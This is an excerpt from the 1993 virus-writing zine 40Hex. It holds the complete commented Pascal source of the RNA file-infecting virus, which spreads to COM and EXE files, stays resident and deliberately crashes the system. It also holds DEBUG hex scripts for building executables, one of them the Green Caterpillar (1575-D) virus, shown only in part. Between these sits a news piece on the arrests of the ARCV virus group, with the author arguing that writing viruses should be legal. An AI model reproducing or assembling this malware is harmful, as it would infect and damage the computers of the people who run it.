|
||
e 0420 03 FA 83 C4 06 CF 9C 50 53 51 52 33 DB B4 0F CD
|
||
e 0430 10 B4 03 CD 10 E8 56 00 3C 29 75 42 2E C6 06 9F
|
||
e 0440 03 00 E8 49 00 3C 3A 74 21 3C 3D 74 1D 3C 7C 74
|
||
e 0450 19 3C 3B 74 15 2E 80 3E 9F 03 00 75 1E 3C 28 74
|
||
e 0460 1A 2E FE 06 9F 03 FE C3 EB D8 F9 12 D3 B4 02 CD
|
||
e 0470 10 B8 28 0A B9 01 00 CD 10 EB 03 F9 12 D3 FE C2
|
||
e 0480 B4 02 CD 10 5A 59 5B 58 9D EA 00 00 00 00 FE CA
|
||
e 0490 B4 02 CD 10 B4 08 CD 10 C3
|
||
rcx
|
||
0399
|
||
w
|
||
q
|
||
-------------------------------------------------------------------------------
|
||
40Hex Issue 10 Volume 3 Number 1 File 003
|
||
|
||
The following is the source code for the RNA virus, a Pascal virus which
|
||
preserves the functionality of the EXE files which it infects. It is a
|
||
primitive virus, but is an example of a parasitic virus not written in
|
||
assembly.
|
||
-------------------------------------------------------------------------------
|
||
{$i-}{$m 2048,0,24576}
|
||
Program RNA;
|
||
{ Commenting by Dark Angel of Phalcon/Skism }
|
||
{ for 40Hex Issue 10 Volume 3 Number 1 }
|
||
uses dos;
|
||
|
||
const blksize=8192; { buffer size }
|
||
vsize=7200; { length of virus }
|
||
wc='*.'; { part of file mask }
|
||
counter=blksize-1; { location of the counter }
|
||
cb=':\'; { colon backslash }
|
||
maxinf:byte=4; { max # infections }
|
||
maxruns:byte=48; { # runs before disinfection }
|
||
drives:array[3..4] of char=('C','D'); { name of the drives }
|
||
imf:string[12]='ux142.rqz'; { temporary file name }
|
||
|
||
|
||
type vtype=array[1..vsize] of byte; { type of buffer for storing virus }
|
||
buftype=array[1..blksize] of byte; { type of buffer for file operations }
|
||
|
||
var ps:string; { path string }
|
||
s:pathstr; { currently running program }
|
||
ds:dirstr; { current directory }
|
||
ns:namestr; { filename of current program }
|
||
es:extstr; { extension of current program }
|
||
v:^vtype; { buffer for virus code }
|
||
buf:^buftype; { buffer for file copying }
|
||
count,indx,inf:byte;
|
||
attr,nr,nw:word;
|
||
sr:searchrec; { for find first/find next calls }
|
||
f,f2:file; { file handles }
|
||
t:longint; { file time/date storage }
|
||
|
||
procedure copyf; { copy file }
|
||
begin
|
||
repeat { copy the file in blocks }
|
||
blockread(f,buf^,blksize,nr); { read from the source file }
|
||
blockwrite(f2,buf^,nr,nw); { write to the target file }
|
||
until (eof(f)); { stop if end of file reached }
|
||
close(f); { close the source file }
|
||
setftime(f2,t); { set file time/date of target }
|
||
close(f2); { then close target file }
|
||
end;
|
||
|
||
Procedure stripf; { strip virus from the file }
|
||
|
||
begin
|
||
assign(f,s); { f = handle for current file }
|
||
reset(f,1); { prepare it for reading }
|
||
getftime(f,t); { save file creation time/date }
|
||
assign(f2,ds+imf); { create temporary file }
|
||
rewrite(f2,1); { prepare for writing }
|
||
seek(f,vsize); { go past virus }
|
||
copyf; { and copy uninfected file }
|
||
end;
|
||
|
||
procedure load; { load the virus from carrier file }
|
||
|
||
begin
|
||
assign(f,s); { f = handle for current file }
|
||
getfattr(f,attr); { get its file attributes }
|
||
reset(f,1); { and prepare it for reading }
|
||
if ioresult=0 then { continue if no failure }
|
||
begin
|
||
getftime(f,t); { get file creation time/date }
|
||
blockread(f,v^,vsize,nr); { read the virus to buffer }
|
||
count:=v^[vsize]-1; { get the counter from the buffer }
|
||
{ and decrement it }
|
||
v^[vsize]:=maxruns; { reset counter in buffer }
|
||
seek(f,vsize-1); { go to generation counter in buffer }
|
||
blockwrite(f,count,1,nr); { write new counter to file }
|
||
setftime(f,t); { restore file time/date }
|
||
close(f); { close the file }
|
||
setfattr(f,attr); { restore its file attributes }
|
||
end;
|
||
end;
|
||
|
||
function checkf(pth:dirstr):boolean; { check if file already infected }
|
||
|
||
var by:array[1..27] of byte; { buffer for checking marker bytes }
|
||
|
||
begin
|
||
checkf:=false; { default to don't infect }
|
||
if pos(sr.name,'COMMAND.COM')=0 then { don't infect COMMAND.COM }
|
||
begin
|
||
assign(f,pth+sr.name); { get filename }
|
||
reset(f,1); { open for reading }
|
||
if ioresult=0 then { continue if open ok }
|
||
begin
|
||
blockread(f,by,27,nr); { start checking the file }
|
||
for indx:=1 to 27 do { to see if the virus is }
|
||
if (by[indx])<>(v^[indx]) then { already there }
|
||
checkf:=true; { if not, return infect ok }
|
||
close(f); { close the file }
|
||
end;
|
||
end;
|
||
end;
|
||
|
||
procedure attach(pth:dirstr); { attach virus to start of file }
|
||
begin
|
||
inc(inf); { increment infection counter }
|
||
assign(f2,pth+'zSqA.th'); { create temporary file }
|
||
rewrite(f2,1); { open for writing }
|
||
if ioresult=0 then { continue if no errors }
|
||
begin
|
||
assign(f,pth+sr.name); { open file to infect }
|
||
getfattr(f,attr); { save its attributes }
|
||
reset(f,1); { open for reading }
|
||
getftime(f,t); { save its creation time/date }
|
||
blockwrite(f2,v^,vsize,nr); { write the virus to the temp file }
|
||
copyf; { copy the file to infect to the }
|
||
erase(f); { temp file and erase original }
|
||
rename(f2,sr.name); { rename the temp file to the name }
|
||
setfattr(f2,attr); { of the original and restore file }
|
||
end; { attributes }
|
||
end;
|
||
|
||
procedure rep(pth:dirstr;ext:extstr); { replicate within a directory }
|
||
|
||
begin
|
||
findfirst(pth+wc+ext,hidden+archive+readonly,sr);
|
||
while (inf<maxinf) and (doserror=0) do { search for files to infect }
|
||
begin
|
||
if checkf(pth) then attach(pth); { infect if not already infected }
|
||
findnext(sr); { then continue for other files }
|
||
end;
|
||
end;
|
||
|
||
procedure wastetime;interrupt; { interrupt 1Ch handler }
|
||
begin
|
||
inc(t);
|
||
inline($90/$90/$90/$90/$90/$90); { NOP NOP NOP NOP NOP NOP }
|
||
if ((t mod 8640)=8639) then inline($4C); { crash after about 8 minutes }
|
||
end;
|
||
|
||
procedure replicate; { duplicate within path }
|
||
|
||
var tmp:dirstr; { holds a directory name }
|
||
|
||
begin
|
||
while (ps<>'') do { while more directories }
|
||
begin
|
||
indx:=pos(';',ps); { go to next directory }
|
||
if indx=0 then { if not found, then at }
|
||
begin { last directory }
|
||
tmp:=ps; { copy directory name to }
|
||
ps:=''; { variable }
|
||
end
|
||
else
|
||
begin
|
||
tmp:=copy(ps,1,indx-1); { copy directory name to }
|
||
ps:=copy(ps,indx+1,length(ps)-indx); { variable }
|
||
end;
|
||
if tmp[length(tmp)]<>'\' then tmp:=tmp+'\'; { concatenate '\' if it }
|
||
{ isn't already there }
|
||
rep(tmp,'cOm'); { infect *.COM }
|
||
rep(tmp,'exE'); { infect *.EXE }
|
||
end;
|
||
end;
|
||
|
||
procedure makep; { this makes a path if it }
|
||
{ isn't found in the system }
|
||
var b:byte;
|
||
|
||
begin
|
||
getdir(0,ps); { get current drive }
|
||
for b:=3 to 4 do { do this for C: and D: }
|
||
begin
|
||
ps:=ps+';'+drives[b]+cb+';'; { copy each drive to path }
|
||
findfirst(drives[b]+cb+wc,directory,sr); { check if dirs on drive }
|
||
while (doserror=0) and (length(ps)<240) do { if not, continue }
|
||
begin
|
||
ps:=ps+drives[b]+cb+sr.name+';'; { add all dirs to the path }
|
||
findnext(sr); { do it again and again }
|
||
end;
|
||
end;
|
||
end;
|
||
|
||
procedure grow;
|
||
|
||
begin
|
||
inf:=0; { reset infection counter }
|
||
ps:=getenv('path'); { get the current path }
|
||
if ps<>'' then replicate; { infect files if path found }
|
||
if inf<maxinf then { if not enough files infected }
|
||
begin
|
||
makep; { make a path }
|
||
replicate; { and then infect }
|
||
end;
|
||
end;
|
||
|
||
procedure remove; { disinfection routine }
|
||
begin
|
||
assign(f,s); { f = handle for currently running file }
|
||
erase(f); { delete the current file }
|
||
assign(f,ds+imf); { f = handle for disinfected copy }
|
||
rename(f,ns+es); { replace carrier file with disinfected copy }
|
||
end;
|
||
|
||
procedure runf; { run the original file }
|
||
begin
|
||
exec(ds+imf,paramstr(1)+paramstr(2)+paramstr(3));
|
||
assign(f,ds+imf); { delete disinfected copy }
|
||
erase(f);
|
||
end;
|
||
|
||
begin
|
||
new(v); { allocate memory to store virus }
|
||
new(buf); { allocate memory for file operations buffer }
|
||
s:=paramstr(0); { get filename of currently running program }
|
||
fsplit(s,ds,ns,es); { split to directory, name, and extension }
|
||
stripf; { strip infected file from executable }
|
||
load; { load the virus data to the buffer }
|
||
grow; { infect files }
|
||
if count=0 then remove; { disinfect if run maxruns times }
|
||
runf; { run the original file }
|
||
if count<3 then { slow system down if run many times }
|
||
begin
|
||
t:=0; { reset count variable }
|
||
setintvec($1c,@wastetime); { set clock tick handler }
|
||
keep(0); { and then stay resident }
|
||
end;
|
||
end.
|
||
-------------------------------------------------------------------------------
|
||
DA
|
||
40Hex Issue 10 Volume 3 Number 1 File 004
|
||
|
||
|
||
ARCV Busted!
|
||
by DecimatoR
|
||
|
||
|
||
Many of you who read this mag know of the ARCV, and most likely
|
||
know Apache Warrior, the president of the group. In December and January,
|
||
the ARCV members were raided by Scotland Yard officials, and had their
|
||
computer equipment confiscated. Apparently, the bust was triggered not because
|
||
of the virus writing they did, but because of the method they allegedly used to
|
||
transport their creations to their friends in other countries. A contact in
|
||
England recently filled me in on the events which led to the bust of the ARCV.
|
||
|
||
Apparently, a few of the ARCV members were calling long distance by use of a
|
||
beige box (a device which allows tapping into phone lines to make unauthorized
|
||
calls) and they got caught. This led to the confiscation of their computer
|
||
equipment. The two who were arrested apparently cooperated with the police,
|
||
and further examination of the confiscated equipment proved that not only had
|
||
the police caught people making fraudulent phone calls, but they also caught
|
||
the leaders of a large virus writing group. Further investigation resulted in
|
||
more arrests of other ARCV members. Had the group not been phreaking their
|
||
calls, chances are they would not be in the fix they are today. Please note,
|
||
however, that there have not yet been any trials in the arrests, and the ARCV
|
||
members have not been proven guilty.
|
||
|
||
The following articles were posted on UseNet, and tell the story, although all
|
||
but one fail to mention the fact that illegal phone calls, and NOT virus
|
||
writing was the key factor in the arrests. Only after the first arrests were
|
||
made did the police pursue the avenue concerning virus authorship.
|
||
|
||
|
||
--------------
|
||
|
||
From "Computing", Feb 4, 1993:
|
||
|
||
Apache scalps virus cowboys
|
||
|
||
"Police raided the homes of suspected computer virus authors across
|
||
the country last week, arresting five people and seizing equipment.
|
||
"The raids were carried out last Wednesdau by police in Manchester,
|
||
Cumbria, Staffordshire and Devon and Cornwall.
|
||
"Scotland Yard's computer crimes unit co-ordinated the raids under the
|
||
codename Operation Apache.
|
||
" A spokeswoman for the Greater Manchester Police said: 'The
|
||
investigation began in the Mancheter area following the arrest of the
|
||
self-styled president of the virus writing group in Salford last
|
||
December.'
|
||
"Police would not reveal the man's name, but said he had been released
|
||
on bail.
|
||
"Last week's raids led to the the arrest of a further two people in
|
||
Manchester. Three other suspects were also arrested in Staffordshire,
|
||
Cumbria and Cornwall.
|
||
"PCs and floppy disks were seized in all the raids.
|
||
"All those arrested have been released on police bail pending further
|
||
investigations."
|
||
|
||
--------------
|
||
|
||
|
||
From the EFF.TALK newsgroup of Usenet:
|
||
|
||
"Police have arrested Britain's first computer virus-writing group
|
||
in an operation they hope will dampen the aspirations of any potential
|
||
high-tech criminals.
|
||
Four members of the Association of Really Cruel Viruses (ARCV) were
|
||
raided last Wednesday in a joint operation in four cities co-ordinated by
|
||
Scotland Yard's computer crimes unit.
|
||
The arrests in Greater Manchester, Cumbria, Staffordshire and
|
||
Devon and Cornwall, bring to six the members of the group that have been
|
||
tracked down by police. Two others, also writing for ARCV, were arrested
|
||
a month ago in Manchester.
|
||
This six are thought to have written between 30 and 50 relatively
|
||
harmless viruses....
|
||
--------------
|
||
|
||
From a reposting of an unidentified newspaper, dated 4 February 1993:
|
||
|
||
UK Virus Writers Group Foiled by Scotland Yard
|
||
|
||
British police have arrested four members of a virus-writing group that
|
||
calls itself the Association of Really Cruel Viruses (ARCV).
|
||
|
||
The Scotland Yard Computer Crime Unit coordinated the raids carried out
|
||
on suspects in Greater Manchester, Staffordshire, Devon, and Cornwall.
|
||
The arrests last Wednesday, January 27, bring to six the number of ARCV
|
||
members found by police, after they initially arrested one caught
|
||
"phreaking" in Manchester in December. ("Phone phreaking" is the illegal
|
||
practice of obtaining free use of telephone lines.) The arrests were
|
||
made under Section 3 of the Computer Misuse Act, which prohibits
|
||
unauthorized modification of computer material, said Detective Sergeant
|
||
Stephen Littler. The suspects, who cannot be identified at this stage
|
||
under British law, have been released on bail pending inquiries and may
|
||
face further charges.
|
||
|
||
The members of ARCV used PCs to write viruses, which they shared via a
|
||
bulletin board operated by one suspect in Cornwall. The police
|
||
confiscated hardware and software, which is being studied by virus
|
||
experts to determine how many viruses were written and what the viruses
|
||
were intended to do, Littler said. The British anti-virus community
|
||
became aware of ARCV through the group's own publicity efforts, such as
|
||
a newsletter that it had uploaded to various bulletin boards in the
|
||
U.S., according to Richard Ford, editor of the monthly "Virus Bulletin,"
|
||
which is published in Abingdon, Oxon, England. The newsletter was
|
||
described in detail in the November, 1992, issue of "Virus Bulletin."
|
||
|
||
"To the best of my knowledge, none of their viruses are in the wild, out
|
||
there spreading," said Ford. "But they have been found on virus
|
||
exchange bulletin board services, and we've had reports of them being
|
||
uploaded rather widely in the UK." ARCV claims, in its newsletter, to
|
||
have links with PHALCON/SKISM in the U.S. and other virus writers in
|
||
Eastern Europe. "The world is a very small place when you've got a
|
||
modem, or are on the Internet," Ford said. The newsletter invites new
|
||
members to join even if they are not virus writers but prefer other
|
||
"underground" activities such as hacking and phreaking. It also betrays
|
||
ARCV's fears of being perceived as nerds (a term not used in Britain)
|
||
saying, "Now the picture put out by the Anti- Virus Authors is that
|
||
Virus writers are Sad individuals who wear Anoraks and go Train Spotting
|
||
but well they are sadly mistaken, we are very intelligent, sound minded,
|
||
highly trained, and we wouldn't be seen in an Anorak or near an Anorak
|
||
even if dead." (Anorak is the British word for ski jacket.)
|
||
|
||
ARCV has already failed at one of the objectives mentioned in its
|
||
premier newsletter issue, which said, "We will be dodging Special Branch
|
||
and New Scotland Yard as we go."
|
||
|
||
|
||
--------------
|
||
|
||
|
||
The following is a summary of Britain's Computer Misuse Act 1990, which
|
||
deals with computer crimes:
|
||
|
||
|
||
|
||
Summary of Computer Misuse Act 1990:
|
||
|
||
{ heading }
|
||
...
|
||
1 -(1) A person is guilty of an offence if-
|
||
(A) he causes a computer to perform any function with intent to secure
|
||
access to any program or data held in any computer;
|
||
(b) the access he intends to secure is unauthorised; and
|
||
(c) he knows at the time when he causes the computer to perform the
|
||
function that that is the case.
|
||
|
||
(2) The intent a person has to have to commit an offence under this secton
|
||
need not be directed at -
|
||
(a) any particular program or data;
|
||
(b) a program or data of any particular kind; or
|
||
(c) a program or data held in any particular computer.
|
||
|
||
{ up to 6 months prison, or a medium scale - level 5 - fine, or both}
|
||
|
||
2 {similar - but access with intent to commit or facilitate further offnces}
|
||
|
||
3 -(1) A person is guilty of an offence if-
|
||
(a) he does any act which causes an unauthorised modification of the contents
|
||
of any computer; and
|
||
(b) at the time when he does the act he has the requisite intent and the
|
||
requisite knowledge.
|
||
|
||
(2) For the purposes of subsection (1)(b) above the requisite is an intent
|
||
to cause a modification of the contents of any computer and by so doing-
|
||
(a) to impair the operation of any computer;
|
||
(b) to prevent or hinder access to any program or data held in any comp
|
||
(c) to impair the operation of any such program or the reliability of
|
||
any such data.
|
||
|
||
(3) {similar clause on direction of intent to section 1}
|
||
|
||
(4) For the purposes of subsection (1)(b) above the requisite knowledge
|
||
is knowledge that any modification he intends to cause is unauthorised.
|
||
|
||
(5) It is immaterial for the purposes of this section whether an
|
||
unauthorised modification or any intended effect of it of a kind
|
||
mentioned in subsection (2) above is, or is intended to be, permanent
|
||
or merely temporary.
|
||
|
||
{ such damage not to be within the terms of the Criminal Damage Act 1971 unless
|
||
physical damage is caused }
|
||
{ In magistrates court - up to 6 months prison or maximum fine or both}
|
||
{ In Crown court up to 5 years prison and/or unlimited fine}
|
||
|
||
{ sections on Jurisdiction - Act applies as long as there is a significant
|
||
UK connection - either accused or target computer was in UK}
|
||
{ lots of further legal details - no way am I typing in all that!}
|
||
|
||
14. { search warrant to be issued by a judge, not just a magistrate}
|
||
|
||
15. { Extradition attempts possible for offences unders sections 2 or 3
|
||
conspiracy to commit such, or attempt to commit section 3 offence}
|
||
|
||
{ more verbiage}
|
||
|
||
17. {lots of definitions - Computer is _not_ formally defined anywhere
|
||
in English Law}
|
||
{Definition of Access - seems to cover anything you could think of
|
||
doing with a computer}
|
||
{defiitions of unauthorised - again rather wide}
|
||
{ ... }
|
||
(10) Refences to a program include refences to part of a program.
|
||
|
||
--------------
|
||
|
||
There ya have it. I personally would like to wish Apache Warrior, Ice-9,
|
||
and the rest of ARCV luck in the upcoming legal mess they face. I was sorry
|
||
to hear about the bust of the group, but even sorrier when I found out that
|
||
some of the members were arrested solely because they had a hand in virus
|
||
production. When you commit fraud, you are breaking the law, and yes, you
|
||
should be held accountable for your actions. I tend to have the opposite
|
||
point of view when it comes to authoring a virus, however. Simply writing code
|
||
should never be illegal. Spreading, yes, but writing? No. Unfortunately, the
|
||
"powers that be" don't always see it as I do.
|
||
|
||
--DecimatoR
|
||
|
||
40Hex Issue 10 Volume 3 Number 1 File 005
|
||
|
||
This is the 1575-D, or Green Caterpillar virus. This resident COM and EXE
|
||
infector is so named for the little green caterpillar which will occasionally
|
||
crawl across the screen and eat up characters as it goes along. It is
|
||
otherwise unremarkable.
|
||
-------------------------------------------------------------------------------
|
||
n 1575-d.com
|
||
e 0100 0E 8C C8 05 3F 00 50 B8 00 01 50 CB 00 00 00 00
|
||
e 0110 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0120 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0150 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0160 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0170 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0180 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0190 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 01A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 01B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 01C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 01D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 01E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 01F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0200 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0210 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0220 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0230 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0240 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0250 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0260 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0270 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0280 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0290 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 02A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 02B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 02C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 02D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 02E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 02F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0300 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0310 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0320 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0330 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0340 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0350 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0360 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0370 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0380 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0390 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 03A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 03B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 03C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 03D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 03E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 03F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0400 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0410 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0420 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0430 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0440 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0450 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0460 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0470 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0480 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0490 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 04A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 04B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 04C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 04D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 04E0 00 00 00 00 00 00 00 00 8B 07 2E FF 36 F8 07 2E
|
||
e 04F0 EB 4A 90 60 14 34 02 53 FF 00 F0 CD 20 00 00 00
|
||
e 0500 00 00 00 00 00 00 00 7E A4 0A 03 00 01 00 00 00
|
||
e 0510 01 0A 03 00 00 9C 0E 00 00 60 36 05 00 AA 43 B5
|
||
e 0520 9A 97 03 00 40 89 0E B4 0D 7A 04 71 EA 56 34 02
|
||
e 0530 00 00 00 00 78 F8 00 F0 5C 07 70 00 06 1E 8C C0
|
||
e 0540 0E 1F 0E 07 A3 35 01 8C D0 A3 2B 01 B0 02 E6 20
|
||
e 0550 FC 33 C0 8E D8 33 F6 BF 3C 01 B9 10 00 F2 A4 1E
|
||
e 0560 17 BD 08 00 87 EC E8 4C 00 E9 C6 03 E8 5D 04 E8
|
||
e 0570 AB 00 74 0E A0 24 07 50 E8 13 01 58 A2 24 07 EB
|
||
e 0580 13 90 E8 76 02 E8 95 02 80 3E 24 07 00 75 05 B8
|
||
e 0590 00 4C CD 21 80 3E 24 07 43 75 31 1F 07 0E 1F 07
|
||
e 05A0 06 BF 00 01 BE 0B 01 B9 0C 00 F2 A4 06 1F B8 00
|
||
e 05B0 01 50 33 C0 CB BE 06 00 AD 3D 92 01 74 DD 3D 79
|
||
e 05C0 01 75 03 E9 A9 00 3D DC 01 74 01 C3 1F 07 2E 8B
|
||
e 05D0 1E 19 01 2E 2B 1E 31 01 8C C8 2B C3 8E D0 2E 8B
|
||
e 05E0 2E 33 01 87 EC 2E 8B 1E 21 01 2E 2B 1E 23 01 8C
|
||
e 05F0 C8 2B C3 50 2E A1 25 01 50 CB 23 1A 3C 23 2F 2D
|
||
e 0600 2D 21 2E 24 0E 23 2F 2D E0 41 3A 31 35 37 35 2D
|
||
e 0610 44 2E 43 4F 4D 00 00 00 24 24 24 24 24 B8 02 3D
|
||
e 0620 BA 19 02 CD 21 73 02 F8 C3 A3 2B 01 BA 73 06 B8
|
||
e 0630 24 25 CD 21 B8 02 42 8B 1E 2B 01 B9 FF FF BA FE
|
||
e 0640 FF CD 21 BA 7D 02 B4 3F 8B 1E 2B 01 B9 02 00 CD
|
||
e 0650 21 B4 3E CD 21 1E 8B 16 39 01 A1 37 01 8E D8 B8
|
||
e 0660 24 25 CD 21 1F 81 3E 7D 02 0C 0A F8 C3 00 00 3D
|
||
e 0670 2D 02 74 1A 1E 07 0E 1F A1 2B 01 8E D0 87 EC BE
|
||
e 0680 3C 01 BF 00 00 B9 10 00 FC F2 A4 E9 DE FE B0 43
|
||
e 0690 A2 24 07 B0 08 E6 70 E4 71 A2 3B 01 BA 19 02 B8
|
||
e 06A0 02 3D CD 21 73 01 C3 A3 2B 01 BA 0B 01 8B 1E 2B
|
||
e 06B0 01 B9 0C 00 B4 3F CD 21 B8 02 42 33 C9 33 D2 CD
|
||
e 06C0 21 50 05 10 00 25 F0 FF 50 D1 E8 D1 E8 D1 E8 D1
|
||
e 06D0 E8 BF 1F 03 AB 58 5B 2B C3 B9 27 06 03 C8 BA 00
|
||
e 06E0 01 2B D0 8B 1E 2B 01 B4 40 CD 21 B8 00 42 33 C9
|
||
e 06F0 33 D2 CD 21 B4 40 8B 1E 2B 01 B9 0C 00 BA 1B 03
|
||
e 0700 CD 21 B4 3E 8B 1E 2B 01 CD 21 C3 0E 8C C8 05 3F
|
||
e 0710 00 50 B8 00 01 50 CB B0 45 A2 24 07 B0 08 E6 70
|
||
e 0720 E4 71 A2 3B 01 BA 19 02 B8 02 3D CD 21 73 01 C3
|
||
e 0730 A3 2B 01 BA 0B 01 8B 1E 2B 01 B9 18 00 B4 3F CD
|
||
e 0740 21 B8 02 42 B9 00 00 BA 00 00 CD 21 50 05 10 00
|
||
e 0750 83 D2 00 25 F0 FF 89 16 27 01 A3 29 01 B9 27 07
|
||
e 0760 81 E9 00 01 03 C1 83 D2 00 B9 00 02 F7 F1 40 A3
|
||
e 0770 0F 01 89 16 0D 01 A1 21 01 A3 23 01 A1 1F 01 A3
|
||
e 0780 25 01 A1 19 01 A3 31 01 A1 1B 01 A3 33 01 8B 16
|
||
e 0790 27 01 A1 29 01 B9 10 00 F7 F1 2D 10 00 2B 06 13
|
||
e 07A0 01 A3 21 01 A3 19 01 C7 06 1F 01 00 01 C7 06 1B
|
||
e 07B0 01 00 01 B8 00 42 33 C9 BA 02 00 CD 21 BA 0D 01
|
||
e 07C0 8B 1E 2B 01 B9 16 00 B4 40 CD 21 B8 02 42 33 C9
|
||
e 07D0 33 D2 CD 21 BA 00 01 A1 29 01 59 2B C1 2B D0 B9
|
||
e 07E0 27 07 03 C8 81 E9 00 01 B4 40 CD 21 B4 3E CD 21
|
||
e 07F0 C3 51 B9 00 00 B4 4E CD 21 59 C3 06 B8 1C 35 CD
|
||
e 0800 21 2E 89 1E 07 01 2E 8C 06 09 01 B8 21 35 CD 21
|
||
e 0810 06 58 2E A3 05 01 2E 89 1E 03 01 07 C3 50 06 1E
|
||
e 0820 33 C0 8E C0 BE 86 00 26 8B 04 8E D8 BE 25 07 81
|
||
e 0830 3C 0C 0A 75 09 1E 58 E8 B7 01 1F 07 58 C3 0E 1F
|
||
e 0840 A1 35 01 48 8E C0 26 80 3E 00 00 5A 74 03 EB 44
|
||
e 0850 90 26 A1 03 00 B9 37 07 D1 E9 D1 E9 D1 E9 D1 E9
|
||
e 0860 2B C1 72 30 26 A3 03 00 26 29 0E 12 00 0E 1F 26
|
||
e 0870 A1 12 00 50 07 BE 00 01 56 5F B9 27 06 FC F2 A4
|
||
e 0880 06 2B C0 8E C0 BE 84 00 BA A8 04 26 89 14 46 46
|
||
e 0890 58 26 89 04 1F 07 58 C3 3C 57 75 03 EB 1E 90 80
|
||
e 08A0 FC 1A 75 06 E8 17 01 EB 13 90 80 FC 11 75 04 E8
|
||
e 08B0 0F 00 CF 80 FC 12 75 04 E8 C1 00 CF 2E FF 2E 03
|
||
e 08C0 01 B0 57 CD 21 50 51 52 53 55 56 57 1E 06 0E 1F
|
||
e 08D0 0E 07 2E C6 06 CD 05 00 90 E8 18 00 75 0C E8 3C
|
||
e 08E0 FD 74 07 E8 54 01 FE 0E CD 05 07 1F 5F 5E 5D 5B
|
||
e 08F0 5A 59 58 C3 0E 07 0E 07 FC E8 36 00 73 04 83 FF
|
||
e 0900 00 C3 BF 19 02 B0 2E B9 0B 00 F2 AE 81 3D 43 4F
|
||
e 0910 75 0D 80 7D 02 4D 75 07 C6 06 24 07 43 90 C3 81
|
||
e 0920 3D 45 58 75 0C 80 7D 02 45 75 06 C6 06 24 07 45
|
||
e 0930 90 C3 1E 2E 8B 36 2D 01 2E A1 2F 01 8E D8 BF 19
|
||
e 0940 02 AC 3C FF 75 07 83 C6 06 AC EB 08 90 3C 05 72
|
||
e 0950 03 1F F9 C3 B9 0B 00 3C 00 74 06 04 40 AA B0 3A
|
||
e 0960 AA AC 3C 20 74 04 AA EB 0B 90 26 80 7D FF 2E 74
|
||
e 0970 03 B0 2E AA E2 EB B0 00 AA 1F F8 C3 B0 57 CD 21
|
||
